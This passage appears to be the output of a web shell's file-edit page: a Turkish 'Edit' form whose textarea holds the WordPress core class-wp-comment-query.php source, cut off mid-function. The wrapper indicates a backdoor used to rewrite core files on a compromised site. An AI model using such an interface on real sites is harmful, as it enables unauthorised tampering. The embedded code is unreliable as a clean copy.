?<h3>D¨ızenle: class-wp-comment-query.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php
/**
 * Comment API: WP_Comment_Query class
 *
 * @package WordPress
 * @subpackage Comments
 * @since 4.4.0
 */

/**
 * Core class used for querying comments.
 *
 * @since 3.1.0
 *
 * @see WP_Comment_Query::__construct() for accepted arguments.
 */
#[AllowDynamicProperties]
class WP_Comment_Query {

	/**
	 * SQL for database query.
	 *
	 * @since 4.0.1
	 * @var string
	 */
	public $request;

	/**
	 * Metadata query container
	 *
	 * @since 3.5.0
	 * @var WP_Meta_Query A meta query instance.
	 */
	public $meta_query = false;

	/**
	 * Metadata query clauses.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $meta_query_clauses;

	/**
	 * SQL query clauses.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $sql_clauses = array(
		&#039;select&#039;  =&gt; &#039;&#039;,
		&#039;from&#039;    =&gt; &#039;&#039;,
		&#039;where&#039;   =&gt; array(),
		&#039;groupby&#039; =&gt; &#039;&#039;,
		&#039;orderby&#039; =&gt; &#039;&#039;,
		&#039;limits&#039;  =&gt; &#039;&#039;,
	);

	/**
	 * SQL WHERE clause.
	 *
	 * Stored after the {@see &#039;comments_clauses&#039;} filter is run on the compiled WHERE sub-clauses.
	 *
	 * @since 4.4.2
	 * @var string
	 */
	protected $filtered_where_clause;

	/**
	 * Date query container
	 *
	 * @since 3.7.0
	 * @var WP_Date_Query A date query instance.
	 */
	public $date_query = false;

	/**
	 * Query vars set by the user.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	public $query_vars;

	/**
	 * Default values for query vars.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	public $query_var_defaults;

	/**
	 * List of comments located by the query.
	 *
	 * @since 4.0.0
	 * @var int[]|WP_Comment[]
	 */
	public $comments;

	/**
	 * The amount of found comments for the current query.
	 *
	 * @since 4.4.0
	 * @var int
	 */
	public $found_comments = 0;

	/**
	 * The number of pages.
	 *
	 * @since 4.4.0
	 * @var int
	 */
	public $max_num_pages = 0;

	/**
	 * Make private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( &#039;get_search_sql&#039; === $name ) {
			return $this-&gt;get_search_sql( ...$arguments );
		}
		return false;
	}

	/**
	 * Constructor.
	 *
	 * Sets up the comment query, based on the query vars passed.
	 *
	 * @since 4.2.0
	 * @since 4.4.0 `$parent__in` and `$parent__not_in` were added.
	 * @since 4.4.0 Order by `comment__in` was added. `$update_comment_meta_cache`, `$no_found_rows`,
	 *              `$hierarchical`, and `$update_comment_post_cache` were added.
	 * @since 4.5.0 Introduced the `$author_url` argument.
	 * @since 4.6.0 Introduced the `$cache_domain` argument.
	 * @since 4.9.0 Introduced the `$paged` argument.
	 * @since 5.1.0 Introduced the `$meta_compare_key` argument.
	 * @since 5.3.0 Introduced the `$meta_type_key` argument.
	 *
	 * @param string|array $query {
	 *     Optional. Array or query string of comment query parameters. Default empty.
	 *
	 *     @type string          $author_email              Comment author email address. Default empty.
	 *     @type string          $author_url                Comment author URL. Default empty.
	 *     @type int[]           $author__in                Array of author IDs to include comments for. Default empty.
	 *     @type int[]           $author__not_in            Array of author IDs to exclude comments for. Default empty.
	 *     @type int[]           $comment__in               Array of comment IDs to include. Default empty.
	 *     @type int[]           $comment__not_in           Array of comment IDs to exclude. Default empty.
	 *     @type bool            $count                     Whether to return a comment count (true) or array of
	 *                                                      comment objects (false). Default false.
	 *     @type array           $date_query                Date query clauses to limit comments by. See WP_Date_Query.
	 *                                                      Default null.
	 *     @type string          $fields                    Comment fields to return. Accepts &#039;ids&#039; for comment IDs
	 *                                                      only or empty for all fields. Default empty.
	 *     @type array           $include_unapproved        Array of IDs or email addresses of users whose unapproved
	 *                                                      comments will be returned by the query regardless of
	 *                                                      `$status`. Default empty.
	 *     @type int             $karma                     Karma score to retrieve matching comments for.
	 *                                                      Default empty.
	 *     @type string|string[] $meta_key                  Meta key or keys to filter by.
	 *     @type string|string[] $meta_value                Meta value or values to filter by.
	 *     @type string          $meta_compare              MySQL operator used for comparing the meta value.
	 *                                                      See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_compare_key          MySQL operator used for comparing the meta key.
	 *                                                      See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type                 MySQL data type that the meta_value column will be CAST to for comparisons.
	 *                                                      See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type_key             MySQL data type that the meta_key column will be CAST to for comparisons.
	 *                                                      See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type array           $meta_query                An associative array of WP_Meta_Query arguments.
	 *                                                      See WP_Meta_Query::__construct() for accepted values.
	 *     @type int             $number                    Maximum number of comments to retrieve.
	 *                                                      Default empty (no limit).
	 *     @type int             $paged                     When used with `$number`, defines the page of results to return.
	 *                                                      When used with `$offset`, `$offset` takes precedence. Default 1.
	 *     @type int             $offset                    Number of comments to offset the query. Used to build
	 *                                                      LIMIT clause. Default 0.
	 *     @type bool            $no_found_rows             Whether to disable the `SQL_CALC_FOUND_ROWS` query.
	 *                                                      Default: true.
	 *     @type string|array    $orderby                   Comment status or array of statuses. To use &#039;meta_value&#039;
	 *                                                      or &#039;meta_value_num&#039;, `$meta_key` must also be defined.
	 *                                                      To sort by a specific `$meta_query` clause, use that
	 *                                                      clause&#039;s array key. Accepts:
	 *                                                      - &#039;comment_agent&#039;
	 *                                                      - &#039;comment_approved&#039;
	 *                                                      - &#039;comment_author&#039;
	 *                                                      - &#039;comment_author_email&#039;
	 *                                                      - &#039;comment_author_IP&#039;
	 *                                                      - &#039;comment_author_url&#039;
	 *                                                      - &#039;comment_content&#039;
	 *                                                      - &#039;comment_date&#039;
	 *                                                      - &#039;comment_date_gmt&#039;
	 *                                                      - &#039;comment_ID&#039;
	 *                                                      - &#039;comment_karma&#039;
	 *                                                      - &#039;comment_parent&#039;
	 *                                                      - &#039;comment_post_ID&#039;
	 *                                                      - &#039;comment_type&#039;
	 *                                                      - &#039;user_id&#039;
	 *                                                      - &#039;comment__in&#039;
	 *                                                      - &#039;meta_value&#039;
	 *                                                      - &#039;meta_value_num&#039;
	 *                                                      - The value of `$meta_key`
	 *                                                      - The array keys of `$meta_query`
	 *                                                      - false, an empty array, or &#039;none&#039; to disable `ORDER BY` clause.
	 *                                                      Default: &#039;comment_date_gmt&#039;.
	 *     @type string          $order                     How to order retrieved comments. Accepts &#039;ASC&#039;, &#039;DESC&#039;.
	 *                                                      Default: &#039;DESC&#039;.
	 *     @type int             $parent                    Parent ID of comment to retrieve children of.
	 *                                                      Default empty.
	 *     @type int[]           $parent__in                Array of parent IDs of comments to retrieve children for.
	 *                                                      Default empty.
	 *     @type int[]           $parent__not_in            Array of parent IDs of comments *not* to retrieve
	 *                                                      children for. Default empty.
	 *     @type int[]           $post_author__in           Array of author IDs to retrieve comments for.
	 *                                                      Default empty.
	 *     @type int[]           $post_author__not_in       Array of author IDs *not* to retrieve comments for.
	 *                                                      Default empty.
	 *     @type int             $post_id                   Limit results to those affiliated with a given post ID.
	 *                                                      Default 0.
	 *     @type int[]           $post__in                  Array of post IDs to include affiliated comments for.
	 *                                                      Default empty.
	 *     @type int[]           $post__not_in              Array of post IDs to exclude affiliated comments for.
	 *                                                      Default empty.
	 *     @type int             $post_author               Post author ID to limit results by. Default empty.
	 *     @type string|string[] $post_status               Post status or array of post statuses to retrieve
	 *                                                      affiliated comments for. Pass &#039;any&#039; to match any value.
	 *                                                      Default empty.
	 *     @type string|string[] $post_type                 Post type or array of post types to retrieve affiliated
	 *                                                      comments for. Pass &#039;any&#039; to match any value. Default empty.
	 *     @type string          $post_name                 Post name to retrieve affiliated comments for.
	 *                                                      Default empty.
	 *     @type int             $post_parent               Post parent ID to retrieve affiliated comments for.
	 *                                                      Default empty.
	 *     @type string          $search                    Search term(s) to retrieve matching comments for.
	 *                                                      Default empty.
	 *     @type string|array    $status                    Comment statuses to limit results by. Accepts an array
	 *                                                      or space/comma-separated list of &#039;hold&#039; (`comment_status=0`),
	 *                                                      &#039;approve&#039; (`comment_status=1`), &#039;all&#039;, or a custom
	 *                                                      comment status. Default &#039;all&#039;.
	 *     @type string|string[] $type                      Include comments of a given type, or array of types.
	 *                                                      Accepts &#039;comment&#039;, &#039;pings&#039; (includes &#039;pingback&#039; and
	 *                                                      &#039;trackback&#039;), or any custom type string. Default empty.
	 *     @type string[]        $type__in                  Include comments from a given array of comment types.
	 *                                                      Default empty.
	 *     @type string[]        $type__not_in              Exclude comments from a given array of comment types.
	 *                                                      Default empty.
	 *     @type int             $user_id                   Include comments for a specific user ID. Default empty.
	 *     @type bool|string     $hierarchical              Whether to include comment descendants in the results.
	 *                                                      - &#039;threaded&#039; returns a tree, with each comment&#039;s children
	 *                                                        stored in a `children` property on the `WP_Comment` object.
	 *                                                      - &#039;flat&#039; returns a flat array of found comments plus
	 *                                                        their children.
	 *                                                      - Boolean `false` leaves out descendants.
	 *                                                      The parameter is ignored (forced to `false`) when
	 *                                                      `$fields` is &#039;ids&#039; or &#039;counts&#039;. Accepts &#039;threaded&#039;,
	 *                                                      &#039;flat&#039;, or false. Default: false.
	 *     @type string          $cache_domain              Unique cache key to be produced when this query is stored in
	 *                                                      an object cache. Default is &#039;core&#039;.
	 *     @type bool            $update_comment_meta_cache Whether to prime the metadata cache for found comments.
	 *                                                      Default true.
	 *     @type bool            $update_comment_post_cache Whether to prime the cache for comment posts.
	 *                                                      Default false.
	 * }
	 */
	public function __construct( $query = &#039;&#039; ) {
		$this-&gt;query_var_defaults = array(
			&#039;author_email&#039;              =&gt; &#039;&#039;,
			&#039;author_url&#039;                =&gt; &#039;&#039;,
			&#039;author__in&#039;                =&gt; &#039;&#039;,
			&#039;author__not_in&#039;            =&gt; &#039;&#039;,
			&#039;include_unapproved&#039;        =&gt; &#039;&#039;,
			&#039;fields&#039;                    =&gt; &#039;&#039;,
			&#039;ID&#039;                        =&gt; &#039;&#039;,
			&#039;comment__in&#039;               =&gt; &#039;&#039;,
			&#039;comment__not_in&#039;           =&gt; &#039;&#039;,
			&#039;karma&#039;                     =&gt; &#039;&#039;,
			&#039;number&#039;                    =&gt; &#039;&#039;,
			&#039;offset&#039;                    =&gt; &#039;&#039;,
			&#039;no_found_rows&#039;             =&gt; true,
			&#039;orderby&#039;                   =&gt; &#039;&#039;,
			&#039;order&#039;                     =&gt; &#039;DESC&#039;,
			&#039;paged&#039;                     =&gt; 1,
			&#039;parent&#039;                    =&gt; &#039;&#039;,
			&#039;parent__in&#039;                =&gt; &#039;&#039;,
			&#039;parent__not_in&#039;            =&gt; &#039;&#039;,
			&#039;post_author__in&#039;           =&gt; &#039;&#039;,
			&#039;post_author__not_in&#039;       =&gt; &#039;&#039;,
			&#039;post_ID&#039;                   =&gt; &#039;&#039;,
			&#039;post_id&#039;                   =&gt; 0,
			&#039;post__in&#039;                  =&gt; &#039;&#039;,
			&#039;post__not_in&#039;              =&gt; &#039;&#039;,
			&#039;post_author&#039;               =&gt; &#039;&#039;,
			&#039;post_name&#039;                 =&gt; &#039;&#039;,
			&#039;post_parent&#039;               =&gt; &#039;&#039;,
			&#039;post_status&#039;               =&gt; &#039;&#039;,
			&#039;post_type&#039;                 =&gt; &#039;&#039;,
			&#039;status&#039;                    =&gt; &#039;all&#039;,
			&#039;type&#039;                      =&gt; &#039;&#039;,
			&#039;type__in&#039;                  =&gt; &#039;&#039;,
			&#039;type__not_in&#039;              =&gt; &#039;&#039;,
			&#039;user_id&#039;                   =&gt; &#039;&#039;,
			&#039;search&#039;                    =&gt; &#039;&#039;,
			&#039;count&#039;                     =&gt; false,
			&#039;meta_key&#039;                  =&gt; &#039;&#039;,
			&#039;meta_value&#039;                =&gt; &#039;&#039;,
			&#039;meta_query&#039;                =&gt; &#039;&#039;,
			&#039;date_query&#039;                =&gt; null, // See WP_Date_Query.
			&#039;hierarchical&#039;              =&gt; false,
			&#039;cache_domain&#039;              =&gt; &#039;core&#039;,
			&#039;update_comment_meta_cache&#039; =&gt; true,
			&#039;update_comment_post_cache&#039; =&gt; false,
		);

		if ( ! empty( $query ) ) {
			$this-&gt;query( $query );
		}
	}

	/**
	 * Parse arguments passed to the comment query with default query parameters.
	 *
	 * @since 4.2.0 Extracted from WP_Comment_Query::query().
	 *
	 * @param string|array $query WP_Comment_Query arguments. See WP_Comment_Query::__construct() for accepted arguments.
	 */
	public function parse_query( $query = &#039;&#039; ) {
		if ( empty( $query ) ) {
			$query = $this-&gt;query_vars;
		}

		$this-&gt;query_vars = wp_parse_args( $query, $this-&gt;query_var_defaults );

		/**
		 * Fires after the comment query vars have been parsed.
		 *
		 * @since 4.2.0
		 *
		 * @param WP_Comment_Query $query The WP_Comment_Query instance (passed by reference).
		 */
		do_action_ref_array( &#039;parse_comment_query&#039;, array( &amp;$this ) );
	}

	/**
	 * Sets up the WordPress query for retrieving comments.
	 *
	 * @since 3.1.0
	 * @since 4.1.0 Introduced &#039;comment__in&#039;, &#039;comment__not_in&#039;, &#039;post_author__in&#039;,
	 *              &#039;post_author__not_in&#039;, &#039;author__in&#039;, &#039;author__not_in&#039;, &#039;post__in&#039;,
	 *              &#039;post__not_in&#039;, &#039;include_unapproved&#039;, &#039;type__in&#039;, and &#039;type__not_in&#039;
	 *              arguments to $query_vars.
	 * @since 4.2.0 Moved parsing to WP_Comment_Query::parse_query().
	 *
	 * @param string|array $query Array or URL query string of parameters.
	 * @return array|int List of comments, or number of comments when &#039;count&#039; is passed as a query var.
	 */
	public function query( $query ) {
		$this-&gt;query_vars = wp_parse_args( $query );
		return $this-&gt;get_comments();
	}

	/**
	 * Get a list of comments matching the query vars.
	 *
	 * @since 4.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int|int[]|WP_Comment[] List of comments or number of found comments if `$count` argument is true.
	 */
	public function get_comments() {
		global $wpdb;

		$this-&gt;parse_query();

		// Parse meta query.
		$this-&gt;meta_query = new WP_Meta_Query();
		$this-&gt;meta_query-&gt;parse_query_vars( $this-&gt;query_vars );

		/**
		 * Fires before comments are retrieved.
		 *
		 * @since 3.1.0
		 *
		 * @param WP_Comment_Query $query Current instance of WP_Comment_Query (passed by reference).
		 */
		do_action_ref_array( &#039;pre_get_comments&#039;, array( &amp;$this ) );

		// Reparse query vars, in case they were modified in a &#039;pre_get_comments&#039; callback.
		$this-&gt;meta_query-&gt;parse_query_vars( $this-&gt;query_vars );
		if ( ! empty( $this-&gt;meta_query-&gt;queries ) ) {
			$this-&gt;meta_query_clauses = $this-&gt;meta_query-&gt;get_sql( &#039;comment&#039;, $wpdb-&gt;comments, &#039;comment_ID&#039;, $this );
		}

		$comment_data = null;

		/**
		 * Filters the comments data before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress&#039; default comment queries.
		 *
		 * The expected return type from this filter depends on the value passed
		 * in the request query vars:
		 * - When `$this-&gt;query_vars[&#039;count&#039;]` is set, the filter should return
		 *   the comment count as an integer.
		 * - When `&#039;ids&#039; === $this-&gt;query_vars[&#039;fields&#039;]`, the filter should return
		 *   an array of comment IDs.
		 * - Otherwise the filter should return an array of WP_Comment objects.
		 *
		 * Note that if the filter returns an array of comment data, it will be assigned
		 * to the `comments` property of the current WP_Comment_Query instance.
		 *
		 * Filtering functions that require pagination information are encouraged to set
		 * the `found_comments` and `max_num_pages` properties of the WP_Comment_Query object,
		 * passed to the filter by reference. If WP_Comment_Query does not perform a database
		 * query, it will not have enough information to generate these values itself.
		 *
		 * @since 5.3.0
		 * @since 5.6.0 The returned array of comment data is assigned to the `comments` property
		 *              of the current WP_Comment_Query instance.
		 *
		 * @param array|int|null   $comment_data Return an array of comment data to short-circuit WP&#039;s comment query,
		 *                                       the comment count as an integer if `$this-&gt;query_vars[&#039;count&#039;]` is set,
		 *                                       or null to allow WP to run its normal queries.
		 * @param WP_Comment_Query $query        The WP_Comment_Query instance, passed by reference.
		 */
		$comment_data = apply_filters_ref_array( &#039;comments_pre_query&#039;, array( $comment_data, &amp;$this ) );

		if ( null !== $comment_data ) {
			if ( is_array( $comment_data ) &amp;&amp; ! $this-&gt;query_vars[&#039;count&#039;] ) {
				$this-&gt;comments = $comment_data;
			}

			return $comment_data;
		}

		/*
		 * Only use the args defined in the query_var_defaults to compute the key,
		 * but ignore &#039;fields&#039;, &#039;update_comment_meta_cache&#039;, &#039;update_comment_post_cache&#039; which does not affect query results.
		 */
		$_args = wp_array_slice_assoc( $this-&gt;query_vars, array_keys( $this-&gt;query_var_defaults ) );
		unset( $_args[&#039;fields&#039;], $_args[&#039;update_comment_meta_cache&#039;], $_args[&#039;update_comment_post_cache&#039;] );

		$key          = md5( serialize( $_args ) );
		$last_changed = wp_cache_get_last_changed( &#039;comment&#039; );

		$cache_key   = &quot;get_comments:$key:$last_changed&quot;;
		$cache_value = wp_cache_get( $cache_key, &#039;comment-queries&#039; );
		if ( false === $cache_value ) {
			$comment_ids = $this-&gt;get_comment_ids();
			if ( $comment_ids ) {
				$this-&gt;set_found_comments();
			}

			$cache_value = array(
				&#039;comment_ids&#039;    =&gt; $comment_ids,
				&#039;found_comments&#039; =&gt; $this-&gt;found_comments,
			);
			wp_cache_add( $cache_key, $cache_value, &#039;comment-queries&#039; );
		} else {
			$comment_ids          = $cache_value[&#039;comment_ids&#039;];
			$this-&gt;found_comments = $cache_value[&#039;found_comments&#039;];
		}

		if ( $this-&gt;found_comments &amp;&amp; $this-&gt;query_vars[&#039;number&#039;] ) {
			$this-&gt;max_num_pages = (int) ceil( $this-&gt;found_comments / $this-&gt;query_vars[&#039;number&#039;] );
		}

		// If querying for a count only, there&#039;s nothing more to do.
		if ( $this-&gt;query_vars[&#039;count&#039;] ) {
			// $comment_ids is actually a count in this case.
			return (int) $comment_ids;
		}

		$comment_ids = array_map( &#039;intval&#039;, $comment_ids );

		if ( $this-&gt;query_vars[&#039;update_comment_meta_cache&#039;] ) {
			wp_lazyload_comment_meta( $comment_ids );
		}

		if ( &#039;ids&#039; === $this-&gt;query_vars[&#039;fields&#039;] ) {
			$this-&gt;comments = $comment_ids;
			return $this-&gt;comments;
		}

		_prime_comment_caches( $comment_ids, false );

		// Fetch full comment objects from the primed cache.
		$_comments = array();
		foreach ( $comment_ids as $comment_id ) {
			$_comment = get_comment( $comment_id );
			if ( $_comment ) {
				$_comments[] = $_comment;
			}
		}

		// Prime comment post caches.
		if ( $this-&gt;query_vars[&#039;update_comment_post_cache&#039;] ) {
			$comment_post_ids = array();
			foreach ( $_comments as $_comment ) {
				$comment_post_ids[] = $_comment-&gt;comment_post_ID;
			}

			_prime_post_caches( $comment_post_ids, false, false );
		}

		/**
		 * Filters the comment query results.
		 *
		 * @since 3.1.0
		 *
		 * @param WP_Comment[]     $_comments An array of comments.
		 * @param WP_Comment_Query $query     Current instance of WP_Comment_Query (passed by reference).
		 */
		$_comments = apply_filters_ref_array( &#039;the_comments&#039;, array( $_comments, &amp;$this ) );

		// Convert to WP_Comment instances.
		$comments = array_map( &#039;get_comment&#039;, $_comments );

		if ( $this-&gt;query_vars[&#039;hierarchical&#039;] ) {
			$comments = $this-&gt;fill_descendants( $comments );
		}

		$this-&gt;comments = $comments;
		return $this-&gt;comments;
	}

	/**
	 * Used internally to get a list of comment IDs matching the query vars.
	 *
	 * @since 4.4.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int|array A single count of comment IDs if a count query. An array of comment IDs if a full query.
	 */
	protected function get_comment_ids() {
		global $wpdb;

		// Assemble clauses related to &#039;comment_approved&#039;.
		$approved_clauses = array();

		// &#039;status&#039; accepts an array or a comma-separated string.
		$status_clauses = array();
		$statuses       = wp_parse_list( $this-&gt;query_vars[&#039;status&#039;] );

		// Empty &#039;status&#039; should be interpreted as &#039;all&#039;.
		if ( empty( $statuses ) ) {
			$statuses = array( &#039;all&#039; );
		}

		// &#039;any&#039; overrides other statuses.
		if ( ! in_array( &#039;any&#039;, $statuses, true ) ) {
			foreach ( $statuses as $status ) {
				switch ( $status ) {
					case &#039;hold&#039;:
						$status_clauses[] = &quot;comment_approved = &#039;0&#039;&quot;;
						break;

					case &#039;approve&#039;:
						$status_clauses[] = &quot;comment_approved = &#039;1&#039;&quot;;
						break;

					case &#039;all&#039;:
					case &#039;&#039;:
						$status_clauses[] = &quot;( comment_approved = &#039;0&#039; OR comment_approved = &#039;1&#039; )&quot;;
						break;

					default:
						$status_clauses[] = $wpdb-&gt;prepare( &#039;comment_approved = %s&#039;, $status );
						break;
				}
			}

			if ( ! empty( $status_clauses ) ) {
				$approved_clauses[] = &#039;( &#039; . implode( &#039; OR &#039;, $status_clauses ) . &#039; )&#039;;
			}
		}

		// User IDs or emails whose unapproved comments are included, regardless of $status.
		if ( ! empty( $this-&gt;query_vars[&#039;include_unapproved&#039;] ) ) {
			$include_unapproved = wp_parse_list( $this-&gt;query_vars[&#039;include_unapproved&#039;] );

			foreach ( $include_unapproved as $unapproved_identifier ) {
				// Numeric values are assumed to be user IDs.
				if ( is_numeric( $unapproved_identifier ) ) {
					$approved_clauses[] = $wpdb-&gt;prepare( &quot;( user_id = %d AND comment_approved = &#039;0&#039; )&quot;, $unapproved_identifier );
				} else {
					// Otherwise we match against email addresses.
					if ( ! empty( $_GET[&#039;unapproved&#039;] ) &amp;&amp; ! empty( $_GET[&#039;moderation-hash&#039;] ) ) {
						// Only include requested comment.
						$approved_clauses[] = $wpdb-&gt;prepare( &quot;( comment_author_email = %s AND comment_approved = &#039;0&#039; AND {$wpdb-&gt;comments}.comment_ID = %d )&quot;, $unapproved_identifier, (int) $_GET[&#039;unapproved&#039;] );
					} else {
						// Include all of the author&#039;s unapproved comments.
						$approved_clauses[] = $wpdb-&gt;prepare( &quot;( comment_author_email = %s AND comment_approved = &#039;0&#039; )&quot;, $unapproved_identifier );
					}
				}
			}
		}

		// Collapse comment_approved clauses into a single OR-separated clause.
		if ( ! empty( $approved_clauses ) ) {
			if ( 1 === count( $approved_clauses ) ) {
				$this-&gt;sql_clauses[&#039;where&#039;][&#039;approved&#039;] = $approved_clauses[0];
			} else {
				$this-&gt;sql_clauses[&#039;where&#039;][&#039;approved&#039;] = &#039;( &#039; . implode( &#039; OR &#039;, $approved_clauses ) . &#039; )&#039;;
			}
		}

		$order = ( &#039;ASC&#039; === strtoupper( $this-&gt;query_vars[&#039;order&#039;] ) ) ? &#039;ASC&#039; : &#039;DESC&#039;;

		// Disable ORDER BY with &#039;none&#039;, an empty array, or boolean false.
		if ( in_array( $this-&gt;query_vars[&#039;orderby&#039;], array( &#039;none&#039;, array(), false ), true ) ) {
			$orderby = &#039;&#039;;
		} elseif ( ! empty( $this-&gt;query_vars[&#039;orderby&#039;] ) ) {
			$ordersby = is_array( $this-&gt;query_vars[&#039;orderby&#039;] ) ?
				$this-&gt;query_vars[&#039;orderby&#039;] :
				preg_split( &#039;/[,\s]/&#039;, $this-&gt;query_vars[&#039;orderby&#039;] );

			$orderby_array            = array();
			$found_orderby_comment_id = false;
			foreach ( $ordersby as $_key =&gt; $_value ) {
				if ( ! $_value ) {
					continue;
				}

				if ( is_int( $_key ) ) {
					$_orderby = $_value;
					$_order   = $order;
				} else {
					$_orderby = $_key;
					$_order   = $_value;
				}

				if ( ! $found_orderby_comment_id &amp;&amp; in_array( $_orderby, array( &#039;comment_ID&#039;, &#039;comment__in&#039; ), true ) ) {
					$found_orderby_comment_id = true;
				}

				$parsed = $this-&gt;parse_orderby( $_orderby );

				if ( ! $parsed ) {
					continue;
				}

				if ( &#039;comment__in&#039; === $_orderby ) {
					$orderby_array[] = $parsed;
					continue;
				}

				$orderby_array[] = $parsed . &#039; &#039; . $this-&gt;parse_order( $_order );
			}

			// If no valid clauses were found, order by comment_date_gmt.
			if ( empty( $orderby_array ) ) {
				$orderby_array[] = &quot;$wpdb-&gt;comments.comment_date_gmt $order&quot;;
			}

			// To ensure determinate sorting, always include a comment_ID clause.
			if ( ! $found_orderby_comment_id ) {
				$comment_id_order = &#039;&#039;;

				// Inherit order from comment_date or comment_date_gmt, if available.
				foreach ( $orderby_array as $orderby_clause ) {
					if ( preg_match( &#039;/comment_date(?:_gmt)*\ (ASC|DESC)/&#039;, $orderby_clause, $match ) ) {
						$comment_id_order = $match[1];
						break;
					}
				}

				// If no date-related order is available, use the date from the first available clause.
				if ( ! $comment_id_order ) {
					foreach ( $orderby_array as $orderby_clause ) {
						if ( str_contains( &#039;ASC&#039;, $orderby_clause ) ) {
							$comment_id_order = &#039;ASC&#039;;
						} else {
							$comment_id_order = &#039;DESC&#039;;
						}

						break;
					}
				}

				// Default to DESC.
				if ( ! $comment_id_order ) {
					$comment_id_order = &#039;DESC&#039;;
				}

				$orderby_array[] = &quot;$wpdb-&gt;comments.comment_ID $comment_id_order&quot;;
			}

			$orderby = implode( &#039;, &#039;, $orderby_array );
		} else {
			$orderby = &quot;$wpdb-&gt;comments.comment_date_gmt $order&quot;;
		}

		$number = absint( $this-&gt;query_vars[&#039;number&#039;] );
		$offset = absint( $this-&gt;query_vars[&#039;offset&#039;] );
		$paged  = absint( $this-&gt;query_vars[&#039;paged&#039;] );
		$limits = &#039;&#039;;

		if ( ! empty( $number ) ) {
			if ( $offset ) {
				$limits = &#039;LIMIT &#039; . $offset . &#039;,&#039; . $number;
			} else {
				$limits = &#039;LIMIT &#039; . ( $number * ( $paged - 1 ) ) . &#039;,&#039; . $number;
			}
		}

		if ( $this-&gt;query_vars[&#039;count&#039;] ) {
			$fields = &#039;COUNT(*)&#039;;
		} else {
			$fields = &quot;$wpdb-&gt;comments.comment_ID&quot;;
		}

		$post_id = absint( $this-&gt;query_vars[&#039;post_id&#039;] );
		if ( ! empty( $post_id ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;post_id&#039;] = $wpdb-&gt;prepare( &#039;comment_post_ID = %d&#039;, $post_id );
		}

		// Parse comment IDs for an IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;comment__in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;comment__in&#039;] = &quot;$wpdb-&gt;comments.comment_ID IN ( &quot; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;comment__in&#039;] ) ) . &#039; )&#039;;
		}

		// Parse comment IDs for a NOT IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;comment__not_in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;comment__not_in&#039;] = &quot;$wpdb-&gt;comments.comment_ID NOT IN ( &quot; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;comment__not_in&#039;] ) ) . &#039; )&#039;;
		}

		// Parse comment parent IDs for an IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;parent__in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;parent__in&#039;] = &#039;comment_parent IN ( &#039; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;parent__in&#039;] ) ) . &#039; )&#039;;
		}

		// Parse comment parent IDs for a NOT IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;parent__not_in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;parent__not_in&#039;] = &#039;comment_parent NOT IN ( &#039; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;parent__not_in&#039;] ) ) . &#039; )&#039;;
		}

		// Parse comment post IDs for an IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;post__in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;post__in&#039;] = &#039;comment_post_ID IN ( &#039; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;post__in&#039;] ) ) . &#039; )&#039;;
		}

		// Parse comment post IDs for a NOT IN clause.
		if ( ! empty( $this-&gt;query_vars[&#039;post__not_in&#039;] ) ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;post__not_in&#039;] = &#039;comment_post_ID NOT IN ( &#039; . implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;post__not_in&#039;] ) ) . &#039; )&#039;;
		}

		if ( &#039;&#039; !== $this-&gt;query_vars[&#039;author_email&#039;] ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;author_email&#039;] = $wpdb-&gt;prepare( &#039;comment_author_email = %s&#039;, $this-&gt;query_vars[&#039;author_email&#039;] );
		}

		if ( &#039;&#039; !== $this-&gt;query_vars[&#039;author_url&#039;] ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;author_url&#039;] = $wpdb-&gt;prepare( &#039;comment_author_url = %s&#039;, $this-&gt;query_vars[&#039;author_url&#039;] );
		}

		if ( &#039;&#039; !== $this-&gt;query_vars[&#039;karma&#039;] ) {
			$this-&gt;sql_clauses[&#039;where&#039;][&#039;karma&#039;] = $wpdb-&gt;prepare( &#039;comment_karma = %d&#039;, $this-&gt;query_vars[&#039;karma&#039;] );
		}

		// Filtering by comment_type: &#039;type&#039;, &#039;type__in&#039;, &#039;type__not_in&#039;.
		$raw_types = array(
			&#039;IN&#039;     =&gt; array_merge( (array) $this-&gt;query_vars[&#039;type&#039;], (array) $this-&gt;query_vars[&#039;type__in&#039;] ),
			&#039;NOT IN&#039; =&gt; (array) $this-&gt;query_vars[&#039;type__not_in&#039;],
		);

		$comment_types = array();
		foreach ( $raw_types as $operator =&gt; $_raw_types ) {
			$_raw_types = array_unique( $_raw_types );

